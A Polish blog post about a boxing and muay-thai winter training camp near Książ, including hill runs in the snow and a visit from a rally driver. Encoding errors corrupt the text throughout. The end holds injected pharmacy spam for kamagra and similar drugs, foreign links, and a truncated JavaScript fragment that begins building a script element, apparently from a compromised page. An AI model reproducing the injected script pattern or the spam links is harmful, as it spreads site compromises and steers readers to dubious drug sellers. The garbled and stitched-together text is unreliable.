Bo bokserem w ogA?le to ciAi??A?ko byAi?? jest…

31.01.2010 / Mariusz Cieśliński

Wczoraj z chAi??opakami z zaprzyjaA?nionego klubu KO-Zone zrobiliAi??my pierwsze treningi. DziAi?? wedAi??ug planu mieliAi??my dwie jednostki biegowe tj. rano godzinny mecz w piAi??kAi?? noA?nAi??, a po poAi??udniu wyciAi??gnAi??Ai??em obozowiczA?w na footing w okolicy KsiAi??A?a. Wieczorna jednostka treningowa poAi??wiAi??cona stricto na boks i muay-thai. RA?A?ne elementy techniczne i proste kombinacje z racji tego, A?e uczestnikami sAi?? zwykli ludzie w rA?A?nym wieku, a ich pasjAi?? na chwilAi?? obecnAi?? sAi?? sporty walki. Przyjechali na zgrupowanie, A?eby zobaczyAi?? jak siAi?? trenuje pod kAi??tem walk, a przede wszystkim przetrwaAi?? ciAi??A?kie treningi i mieAi?? co pA?A?niej wspominaAi?? przy kominku. O ile z pierwszym treningiem nie mieli problemu-w koAi??cu niemal kaA?dy Polak zna siAi?? i potrafi graAi?? w piAi??Ai?? kopanAi?? to na drugich zajAi??ciach w terenie miny zrzedAi??y.

Podbiegi w KsiAi??A?aAi??skich wAi??wozach – strome, a do tego mocno oAi??nieA?one to nie jest buAi??ka z masAi??em nawet dla wytrenowanych zawodnikA?w, a co dopiero dla zwykAi??ych amatorA?w, ktA?rzy w nietypowy dla normalnego „Kowalskiego”spAi??dzajAi?? ferie zimowe.WidaAi?? byAi??o po ich twarzach,A?e kaA?dy z nich zaczAi??Ai?? walkAi?? indywidualnAi?? ze swojAi?? sAi??aboAi??ciAi??,wysokim Ai??niegiem i stromymi zboczami. FrajdAi?? mieli gdy dobiegliAi??my do ruin Starego KsiAi??A?a skAi??d mogli podziwiaAi?? piAi??kne widoki, ktA?rych w domu nie majAi?? na co dzieAi??.

MiAi??ym goAi??ciem, ktA?ry zaskoczyAi?? wszystkich byAi?? Tomek Kuchar – jeden z najlepszych kierowcA?w rajdowych Polski( www.kuchar.net http://test.okjcp.jp/?p=10750 ) – i mA?j serdeczny przyjaciel zarazem. Czasami teA? i sparring partner na bokserskich treningach. Razem z nami atakowaAi?? strome zbocza w Ai??niegu, a potem musiaAi?? oczywiAi??cie rozdaAi?? po biegu trochAi?? autografA?w swoim towarzyszom niedoli. Po caAi??ej wyprawie wszyscyAi?? zmAi??czeni i szczAi??Ai??liwi, a apetyty przy kolacji lepiej nie pisaAi??. Klub Copacabana Warszawa dotrze dopiero dziAi?? wieczorem wraz z trenerem Igorem KoAi??acinemAi??i niech A?aAi??uje, A?e straciAi??a extra treningi.

Cheap cheap cafergot tablets Cheap canadian pharmacuti

best place to buy kamagra online. Kamagra USA. kamagra jelly. purchase allium bulbs Order Buy http://rubikoffice.com/2018/03/19/purchase-entocort-colitis/

var d=document;var s=d.createElement(‚script’); cheap copegus if (document.currentScript) { } else { online online